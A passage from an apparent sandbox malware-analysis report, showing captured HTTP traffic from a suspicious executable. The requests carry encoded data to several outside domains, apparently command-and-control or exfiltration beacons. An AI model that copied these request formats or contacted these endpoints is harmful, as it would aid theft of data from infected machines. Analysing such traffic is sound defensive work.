Oct 8, 2024 15:56:35.789383888 CEST	1236	IN	Data Raw: 4f 51 c3 d0 58 68 3e a0 49 25 74 0a 2a 19 bb 0a 4a 39 0b 05 ff c3 02 4e aa ec 89 a8 55 8f 81 bb 85 c2 b5 6d dd 49 b4 e0 1f 97 b3 50 f4 7f 58 44 fd 3c b0 ba 29 b0 35 2e 6f 16 8a be aa bd ab 48 c4 3e c3 98 c8 c1 5b 28 ba 5e 04 11 60 e7 9c 8e 39 2e Data Ascii: OQXh>I%t*J9NUmIPXD<)5.oH>[(^`9.xDe:eq-}A]C5BQku,l/x1t-uw!GBCg[qo;`fY(P0H#:]t}N1.-6(W;L
Oct 8, 2024 15:56:35.789422035 CEST	1236	IN	Data Raw: 17 70 c0 ed b7 e8 c3 d7 12 28 ea 4b ba 22 8d c4 1f d4 26 7f 27 f0 80 1c f0 2b 78 50 c2 b6 4a c0 a1 ac 63 83 07 ac ab b0 c4 9e d6 55 a0 45 54 d9 9c 92 aa af e0 1a c9 35 14 ea 0b 6e bf 51 ad 68 22 57 18 42 15 a9 14 be 6e 94 08 5c 37 ca e9 09 90 f4 Data Ascii: p(K"&'+xPJcUET5nQh"WBn\7NkNDa,1M2JrVrGJa=GMEoT!S9 4}g;,1DuX6u9+!`/8Txxq99*q,\d904g
Oct 8, 2024 15:56:35.789433956 CEST	1236	IN	Data Raw: 39 78 76 dc 14 b9 78 c8 de 39 e4 ed a1 91 e3 90 e3 87 0a dd a1 1c 10 9a 0f a5 77 a5 83 d0 7d 71 a0 a3 0a e4 b7 6d 7e 1b da 13 82 b1 84 bf a8 c5 9b 43 a9 23 ec 6f fb b2 48 d8 b3 7d 09 25 ec d9 b6 dc 42 1b ba ca f1 68 1f f2 54 5e f1 ed 01 0b c8 94 Data Ascii: 9xvx9w}qm~C#oH}%BhT^OrgweX%+&NG\|d(?tLq-o)}&+\|RK97d{7"Ktpg-a};B!l,)t!%YZ+2_rosGrIm
Oct 8, 2024 15:56:35.789444923 CEST	1236	IN	Data Raw: ad 7b dd c9 4a a9 d6 37 4e 05 2e 61 50 06 43 1c e0 aa 1a 8b 43 ae fa 92 d5 c9 4b 6d 8b 6d 6f 71 d5 c2 fd 83 af bf fa aa bc db a4 aa 08 b5 44 63 79 39 cb 43 25 70 c5 cf a0 69 a9 6f 70 4b 4c 64 be 0b d5 b7 14 8d 0c 86 c9 e6 f6 ac 42 1a 33 a1 96 12 Data Ascii: {J7N.aPCCKmmoqDcy9C%piopKLdB3Je@/&(qPP"&8*#LYsSh@/-]AplQvH,5D`@gx(WoB4b\|<i1$xQ[RVHOX&3MJk 6y7Jj!
Oct 8, 2024 15:56:35.794358969 CEST	1236	IN	Data Raw: 15 59 b3 a5 ad db d1 dc 5e ec 6c ce 96 15 54 c6 45 09 f9 cb ac cc 9f 0e 3b 93 bf 31 35 32 66 76 4e c1 92 03 20 50 93 1a 59 67 1a a1 68 1e 40 b0 93 66 28 95 4e 87 8d 2e c1 58 d4 15 f1 41 04 64 d2 07 d1 3a 2d 6a e2 70 cf 4b 4f 3b d4 fd ab bc 1a 28 Data Ascii: Y^lTE;152fvN PYgh@f(N.XAd:-jpKO;(gRAuB^s'/4}4G?c\G(uftKPjN{E=\|pF!l&)\9$"8_~V"HpcI,JOME99iNsb9XA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.11	50005	103.21.221.4	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:37.154119015 CEST	470	OUT	GET /abla/?gP=R9BPGtjeoV0CDxCBeHwugo2BsPFWgaNdCqs+EeARQOkoA/Qwpt/BQ4HKq3lGg5eAXthSBpGiRyb49E6pfVOIP+nYbA/MCobApDN+18WI9d8e3Vo/1w2CbZc=&-L=kBMxZFRpAD6P HTTP/1.1 Host: www.tempatmudisini01.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Oct 8, 2024 15:56:38.338138103 CEST	525	IN	HTTP/1.1 301 Moved Permanently Connection: close x-powered-by: PHP/7.4.33 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 x-redirect-by: WordPress location: http://tempatmudisini01.click/abla/?gP=R9BPGtjeoV0CDxCBeHwugo2BsPFWgaNdCqs+EeARQOkoA/Qwpt/BQ4HKq3lGg5eAXthSBpGiRyb49E6pfVOIP+nYbA/MCobApDN+18WI9d8e3Vo/1w2CbZc=&-L=kBMxZFRpAD6P x-litespeed-cache: miss content-length: 0 date: Tue, 08 Oct 2024 13:56:38 GMT server: LiteSpeed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.11	50006	3.33.130.190	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:43.394007921 CEST	718	OUT	POST /xweg/ HTTP/1.1 Host: www.o731lh.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Origin: http://www.o731lh.vip Referer: http://www.o731lh.vip/xweg/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 2b 77 75 41 44 37 4d 73 48 43 35 63 6c 53 6c 6d 61 65 32 57 37 49 64 2f 61 76 50 34 2b 64 6f 63 57 52 39 78 6d 7a 2b 6f 75 35 58 58 6e 36 4a 6a 4d 73 62 68 5a 41 45 46 4b 64 2f 34 74 2f 54 75 75 67 61 6c 64 77 31 5a 6a 71 4c 2f 54 67 71 4b 4b 51 4a 76 59 39 45 34 36 41 36 6c 67 55 38 37 75 48 50 44 77 38 2b 70 63 6f 68 49 43 69 78 54 32 61 50 52 76 41 53 47 47 54 6f 62 61 44 77 7a 4c 64 6f 78 57 64 64 5a 66 53 6e 37 78 30 2b 4b 59 33 44 47 33 53 2f 62 37 67 47 56 72 48 43 68 6f 43 52 6e 71 61 59 33 38 36 4b 52 75 67 5a 37 65 4a 55 51 6b 50 78 73 4f 49 41 54 30 37 38 35 65 41 3d 3d Data Ascii: gP=+wuAD7MsHC5clSlmae2W7Id/avP4+docWR9xmz+ou5XXn6JjMsbhZAEFKd/4t/Tuugaldw1ZjqL/TgqKKQJvY9E46A6lgU87uHPDw8+pcohICixT2aPRvASGGTobaDwzLdoxWddZfSn7x0+KY3DG3S/b7gGVrHChoCRnqaY386KRugZ7eJUQkPxsOIAT0785eA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.11	50007	3.33.130.190	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:45.958532095 CEST	738	OUT	POST /xweg/ HTTP/1.1 Host: www.o731lh.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Origin: http://www.o731lh.vip Referer: http://www.o731lh.vip/xweg/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 2b 77 75 41 44 37 4d 73 48 43 35 63 6b 7a 56 6d 5a 39 75 57 73 34 64 34 47 2f 50 34 33 39 70 56 57 52 68 78 6d 79 72 74 75 4b 7a 58 6e 66 74 6a 4e 74 62 68 4a 51 45 46 54 74 2f 39 77 50 54 54 75 67 57 62 64 79 52 5a 6a 71 50 2f 54 6b 75 4b 4c 6e 39 73 5a 74 45 41 32 67 36 6e 39 45 38 37 75 48 50 44 77 38 71 50 63 72 52 49 44 53 68 54 77 2f 6a 57 6d 67 53 5a 57 44 6f 62 4d 7a 78 36 4c 64 6f 54 57 63 42 7a 66 52 66 37 78 77 36 4b 57 46 72 48 38 53 2f 52 6d 77 48 4e 71 55 37 54 6a 7a 49 57 71 37 6f 6b 30 71 53 46 69 47 49 68 4f 71 64 48 6e 63 35 75 61 75 68 6a 39 4b 5a 77 46 4b 54 32 6b 4d 2b 6a 43 75 76 61 39 4b 70 4d 6a 61 6f 66 44 50 73 3d Data Ascii: gP=+wuAD7MsHC5ckzVmZ9uWs4d4G/P439pVWRhxmyrtuKzXnftjNtbhJQEFTt/9wPTTugWbdyRZjqP/TkuKLn9sZtEA2g6n9E87uHPDw8qPcrRIDShTw/jWmgSZWDobMzx6LdoTWcBzfRf7xw6KWFrH8S/RmwHNqU7TjzIWq7ok0qSFiGIhOqdHnc5uauhj9KZwFKT2kM+jCuva9KpMjaofDPs=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.11	50008	3.33.130.190	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:48.516735077 CEST	1751	OUT	POST /xweg/ HTTP/1.1 Host: www.o731lh.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 1231 Origin: http://www.o731lh.vip Referer: http://www.o731lh.vip/xweg/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 2b 77 75 41 44 37 4d 73 48 43 35 63 6b 7a 56 6d 5a 39 75 57 73 34 64 34 47 2f 50 34 33 39 70 56 57 52 68 78 6d 79 72 74 75 4b 37 58 6d 70 78 6a 50 4f 7a 68 4b 51 45 46 4d 64 2f 38 77 50 54 43 75 67 65 66 64 79 64 76 6a 73 54 2f 54 48 6d 4b 44 79 52 73 54 74 45 41 2b 41 36 6b 67 55 39 76 75 48 66 66 77 38 36 50 63 72 52 49 44 58 6c 54 77 71 50 57 71 41 53 47 47 54 70 4a 61 44 77 66 4c 64 77 70 57 63 46 4a 66 67 2f 37 77 51 71 4b 55 32 44 48 2f 79 2f 66 6e 77 48 65 71 56 48 49 6a 7a 6c 70 71 37 64 44 30 6f 43 46 7a 77 56 46 52 5a 35 37 36 74 64 45 45 73 56 6c 67 34 4a 31 4e 61 54 43 75 2b 57 32 61 35 6e 54 32 49 6f 37 78 61 49 75 64 76 44 45 57 71 6f 33 68 54 56 54 70 64 45 5a 73 48 63 2b 38 53 32 57 51 43 39 54 50 41 77 39 51 45 30 48 71 6b 2f 4f 4f 57 2f 35 4c 33 50 6f 43 30 4f 41 4e 5a 34 4c 2f 50 55 6a 45 6e 37 2f 72 4a 48 52 57 65 43 49 76 4a 33 4d 56 43 38 58 58 71 66 47 75 67 4c 6f 56 4c 4e 67 68 55 72 76 66 4e 44 53 43 32 58 6d 51 32 70 73 35 73 6b 75 30 2f 4e 65 77 6b 31 75 77 75 2b [TRUNCATED] Data Ascii: gP=+wuAD7MsHC5ckzVmZ9uWs4d4G/P439pVWRhxmyrtuK7XmpxjPOzhKQEFMd/8wPTCugefdydvjsT/THmKDyRsTtEA+A6kgU9vuHffw86PcrRIDXlTwqPWqASGGTpJaDwfLdwpWcFJfg/7wQqKU2DH/y/fnwHeqVHIjzlpq7dD0oCFzwVFRZ576tdEEsVlg4J1NaTCu+W2a5nT2Io7xaIudvDEWqo3hTVTpdEZsHc+8S2WQC9TPAw9QE0Hqk/OOW/5L3PoC0OANZ4L/PUjEn7/rJHRWeCIvJ3MVC8XXqfGugLoVLNghUrvfNDSC2XmQ2ps5sku0/Newk1uwu+mL/qVW5iCgVWhFNXshhQ0kL3Guo3+SAOFPWimTO86+LVEwc0kfVORL4lU1IlJjwfBdTvYlyngxVmG3vgBXHDs4mPdr9b6voJtBUpRvFYCWxoN7qvJi6T893CuRnwHQUaXDJqR61QdWumIcsMjIlCJ7zVQMIrvWReBPkHZDWdosYdIgS57h8LE8QjnL1bNLmrxgdMJBsgHuxI253PYECmZqyb/B0P+Xk1ELLKdo3ScxWgUJPljR402mxwYWPsQgR6iv1r3AW8gWMIbRSgv/TlcmFI/K4xqBc8yZj9yz2cxnxzQvfFSUIUeOcABhZtLzl7C46BGOBtMoIYsDY1AH9Jle0PAP19PkbN0+3CGEhqvJn1SWENb9D8bCsue3benX8ZcnsUiHLmaxIS/gInKyUC2a7x8xmRGa4Dy24wZMVrtX5+4HgRPAPR2Ve3YWFHAWLd/1+gY1vgpDvtCG8TIy6lh2zpw/hoQUkXfUizpp7JKWeB6FbyfUy9+llazNIwq+N3mITTn0FNqtk00k/LalKtBGp7qg6zdcoAXzoxloCefRm4sr47KLLL5V4HzJio/QjvQ6H+BZD2TPoSdyC7p18+Fxqm8kAR1oWerjLIOVmQUoQbSoiUgbfaO3KI5PQWRTDWEcTzuxDJlbqHpozC+7iaC6LX80sSVKSKQj [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.11	50009	3.33.130.190	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:51.051431894 CEST	458	OUT	GET /xweg/?-L=kBMxZFRpAD6P&gP=zyGgAOIUWHAkjy53XOab1MtcQdyBzOoJaxZIhC+JlO6DnbZYVfn3Wlg6Cuq4vonK+0ubeBxTnsDOaX+bBTk8d8gi4CXplyUvpH+a6MWSZKg7Sn8a+cnOgQs= HTTP/1.1 Host: www.o731lh.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Oct 8, 2024 15:56:51.500041008 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:56:51 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 2d 4c 3d 6b 42 4d 78 5a 46 52 70 41 44 36 50 26 67 50 3d 7a 79 47 67 41 4f 49 55 57 48 41 6b 6a 79 35 33 58 4f 61 62 31 4d 74 63 51 64 79 42 7a 4f 6f 4a 61 78 5a 49 68 43 2b 4a 6c 4f 36 44 6e 62 5a 59 56 66 6e 33 57 6c 67 36 43 75 71 34 76 6f 6e 4b 2b 30 75 62 65 42 78 54 6e 73 44 4f 61 58 2b 62 42 54 6b 38 64 38 67 69 34 43 58 70 6c 79 55 76 70 48 2b 61 36 4d 57 53 5a 4b 67 37 53 6e 38 61 2b 63 6e 4f 67 51 73 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?-L=kBMxZFRpAD6P&gP=zyGgAOIUWHAkjy53XOab1MtcQdyBzOoJaxZIhC+JlO6DnbZYVfn3Wlg6Cuq4vonK+0ubeBxTnsDOaX+bBTk8d8gi4CXplyUvpH+a6MWSZKg7Sn8a+cnOgQs="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.11	50010	3.33.130.190	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:56.568715096 CEST	751	OUT	POST /2ho9/ HTTP/1.1 Host: www.consultarfacil.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Origin: http://www.consultarfacil.online Referer: http://www.consultarfacil.online/2ho9/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 68 62 72 49 68 52 55 6e 4b 58 70 46 47 39 73 50 4c 54 63 62 52 65 43 52 79 6d 37 37 70 51 30 65 33 79 2b 6e 6e 4f 37 5a 6f 75 63 70 42 75 69 68 32 53 36 5a 56 77 4c 32 6a 54 30 6c 65 5a 2b 76 4f 33 37 36 62 6e 44 50 34 77 68 6d 62 4b 32 2f 7a 35 37 4c 44 61 61 79 4a 61 78 62 48 66 67 61 67 76 6d 38 4a 77 61 67 77 55 34 36 67 61 31 73 64 68 63 38 7a 36 62 7a 59 4c 47 39 74 33 6a 41 51 64 56 46 31 6d 44 75 7a 62 4c 72 45 61 71 41 74 6d 4a 64 77 75 4d 39 6e 49 64 6b 33 56 4c 6d 33 6f 39 38 30 7a 47 70 36 76 78 75 38 4a 72 62 48 4f 76 62 4f 41 49 53 6f 74 59 68 64 45 51 49 2b 67 3d 3d Data Ascii: gP=hbrIhRUnKXpFG9sPLTcbReCRym77pQ0e3y+nnO7ZoucpBuih2S6ZVwL2jT0leZ+vO376bnDP4whmbK2/z57LDaayJaxbHfgagvm8JwagwU46ga1sdhc8z6bzYLG9t3jAQdVF1mDuzbLrEaqAtmJdwuM9nIdk3VLm3o980zGp6vxu8JrbHOvbOAISotYhdEQI+g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.11	50011	3.33.130.190	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:59.118426085 CEST	771	OUT	POST /2ho9/ HTTP/1.1 Host: www.consultarfacil.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Origin: http://www.consultarfacil.online Referer: http://www.consultarfacil.online/2ho9/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 68 62 72 49 68 52 55 6e 4b 58 70 46 48 64 63 50 4b 30 49 62 58 2b 43 4f 75 57 37 37 67 77 30 61 33 79 69 6e 6e 4c 62 4a 72 61 77 70 42 50 53 68 6b 54 36 5a 55 77 4c 32 6b 6a 30 6b 42 4a 2b 6d 4f 33 6d 4a 62 6a 4c 50 34 77 31 6d 62 4b 47 2f 7a 71 6a 49 44 4b 61 4b 42 36 78 46 4b 2f 67 61 67 76 6d 38 4a 30 32 47 77 55 77 36 68 71 6c 73 63 46 77 2f 2b 61 62 30 51 72 47 39 6d 58 69 4c 51 64 55 69 31 69 69 44 7a 5a 44 72 45 59 43 41 74 33 4a 53 6e 2b 4d 37 70 6f 63 68 6d 6d 32 6a 35 2f 38 6f 73 69 79 49 74 72 38 4b 39 50 36 42 58 74 6d 4d 4e 54 41 51 38 4c 35 52 55 31 31 42 6c 68 59 33 2f 2f 72 78 58 44 6d 4f 57 53 63 35 75 77 67 35 5a 4e 49 3d Data Ascii: gP=hbrIhRUnKXpFHdcPK0IbX+COuW77gw0a3yinnLbJrawpBPShkT6ZUwL2kj0kBJ+mO3mJbjLP4w1mbKG/zqjIDKaKB6xFK/gagvm8J02GwUw6hqlscFw/+ab0QrG9mXiLQdUi1iiDzZDrEYCAt3JSn+M7pochmm2j5/8osiyItr8K9P6BXtmMNTAQ8L5RU11BlhY3//rxXDmOWSc5uwg5ZNI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.11	50012	3.33.130.190	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:01.773335934 CEST	1784	OUT	POST /2ho9/ HTTP/1.1 Host: www.consultarfacil.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 1231 Origin: http://www.consultarfacil.online Referer: http://www.consultarfacil.online/2ho9/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 68 62 72 49 68 52 55 6e 4b 58 70 46 48 64 63 50 4b 30 49 62 58 2b 43 4f 75 57 37 37 67 77 30 61 33 79 69 6e 6e 4c 62 4a 72 62 6b 70 42 38 61 68 6e 77 53 5a 4f 77 4c 32 72 7a 30 70 42 4a 2f 30 4f 33 2b 57 62 6a 48 31 34 7a 4e 6d 62 72 6d 2f 6e 50 58 49 49 4b 61 4b 65 71 78 59 48 66 67 31 67 72 4c 33 4a 77 57 47 77 55 77 36 68 73 5a 73 49 68 63 2f 38 61 62 7a 59 4c 47 35 74 33 69 6a 51 64 4e 64 31 6a 6a 2b 79 70 6a 72 46 34 53 41 73 46 68 53 6b 65 4d 35 75 6f 63 48 6d 6d 36 6f 35 2f 49 6b 73 69 48 56 74 73 34 4b 39 72 48 57 4d 65 62 57 59 41 77 38 70 4e 68 78 59 6d 46 2f 70 69 63 32 2f 61 6a 4d 4a 45 71 55 62 33 6c 4b 34 30 63 52 61 70 70 67 31 50 79 73 31 42 66 33 34 45 62 37 75 66 78 39 50 54 55 39 44 39 54 36 57 72 63 61 74 42 71 71 4a 35 6e 42 4f 54 57 63 4f 55 61 78 39 4d 37 5a 70 69 4c 41 39 69 79 38 6f 42 34 55 73 76 67 43 74 62 4d 56 62 6f 46 4a 48 32 4a 6a 34 5a 70 2f 45 73 46 79 6b 49 76 64 35 77 2f 77 33 65 5a 2f 4e 30 56 67 47 68 51 7a 38 36 68 2b 53 4b 46 77 38 35 49 7a 50 65 6d [TRUNCATED] Data Ascii: gP=hbrIhRUnKXpFHdcPK0IbX+COuW77gw0a3yinnLbJrbkpB8ahnwSZOwL2rz0pBJ/0O3+WbjH14zNmbrm/nPXIIKaKeqxYHfg1grL3JwWGwUw6hsZsIhc/8abzYLG5t3ijQdNd1jj+ypjrF4SAsFhSkeM5uocHmm6o5/IksiHVts4K9rHWMebWYAw8pNhxYmF/pic2/ajMJEqUb3lK40cRappg1Pys1Bf34Eb7ufx9PTU9D9T6WrcatBqqJ5nBOTWcOUax9M7ZpiLA9iy8oB4UsvgCtbMVboFJH2Jj4Zp/EsFykIvd5w/w3eZ/N0VgGhQz86h+SKFw85IzPemYnS9j1bgLNqr4o4Gni3QeOxHZQQPWIEHcb8z/vk0Yi7JdbdqKqpK2LSjqKFbHDHCuYHefg6oRAVx4ZYwk5AHq1IQGqVWiUC5cp8m/niwk66Ty9ccnww/enaIXlthMPe9LZDvm3fBE/GFrzzaTvXhkrJ1o/PyKIG8QQ3X1cuSx9kDgLZjXKynVaNmCTA+plWe9zTmJ8npVDId+QEpHqIFG9aIIOCq5pYEDw4IqED35ajO5E2Exlq1oUh1DHRmgtmOwMj9h92JKd1OM1wxKCVwz20MnRVlrEynMuDWBFYggz1boMTFJ+rUBxbH6RA8T1tG09b0qm7CY6W6vorALDrFmtsxNRdKZLvao+keX45pa6Pa+feQybYWWA24lVn9OfsfG8dj3JpOTEeCfOzFPAjFZ1u664w9fcVQRBBfS8gk9My2VQkHMeBhd68qo480j5u15StpsX1OSkvQ/rSZM9XUjkrweFk49DbqJBW8yAKO6gTp2Lg1cw3JCNrIIDeGbYfUuaLPpxwn6Qok2s/Oc89EOzAyR+Zs+avtqnArSPdSt5WyQUNImFlvrQabFrSpZNpmL4AwT/j2YCQy2ZjqRSG/lCUKdKbV1ue49xCqwkceUZxpTTUN140BEoRNV9eXPU02/mSYzwPRBMNXEcEDGKmu4VFi3qpCQZz2+t [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.11	50013	3.33.130.190	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:04.336757898 CEST	469	OUT	GET /2ho9/?gP=sZDoihg8ajsFNu4sFB4wVMG24nWUkQUSxybOs53co7FoCsqulhCNIl7qmx9+CpDfKiL3BRrx3kpFS5y+tLS3H5WrA65sHfIkn+XzJEmDgF1B4fp1cD4x67M=&-L=kBMxZFRpAD6P HTTP/1.1 Host: www.consultarfacil.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Oct 8, 2024 15:57:04.970952034 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:57:04 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 67 50 3d 73 5a 44 6f 69 68 67 38 61 6a 73 46 4e 75 34 73 46 42 34 77 56 4d 47 32 34 6e 57 55 6b 51 55 53 78 79 62 4f 73 35 33 63 6f 37 46 6f 43 73 71 75 6c 68 43 4e 49 6c 37 71 6d 78 39 2b 43 70 44 66 4b 69 4c 33 42 52 72 78 33 6b 70 46 53 35 79 2b 74 4c 53 33 48 35 57 72 41 36 35 73 48 66 49 6b 6e 2b 58 7a 4a 45 6d 44 67 46 31 42 34 66 70 31 63 44 34 78 36 37 4d 3d 26 2d 4c 3d 6b 42 4d 78 5a 46 52 70 41 44 36 50 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?gP=sZDoihg8ajsFNu4sFB4wVMG24nWUkQUSxybOs53co7FoCsqulhCNIl7qmx9+CpDfKiL3BRrx3kpFS5y+tLS3H5WrA65sHfIkn+XzJEmDgF1B4fp1cD4x67M=&-L=kBMxZFRpAD6P"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.11	50014	15.197.204.56	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:57:10.045954943 CEST	739	OUT	POST /8o1o/ HTTP/1.1 Host: www.broomeorchard.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Origin: http://www.broomeorchard.xyz Referer: http://www.broomeorchard.xyz/8o1o/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 64 73 50 42 57 52 7a 48 47 58 68 74 44 69 53 50 67 43 76 43 70 6b 35 50 41 55 57 6c 5a 58 4e 54 38 78 43 61 4b 78 33 76 37 6c 44 45 77 52 65 41 68 78 36 2b 41 59 4b 6b 37 58 76 7a 74 42 32 68 46 49 75 55 66 34 49 6f 36 50 6d 61 44 70 5a 49 6c 49 71 34 55 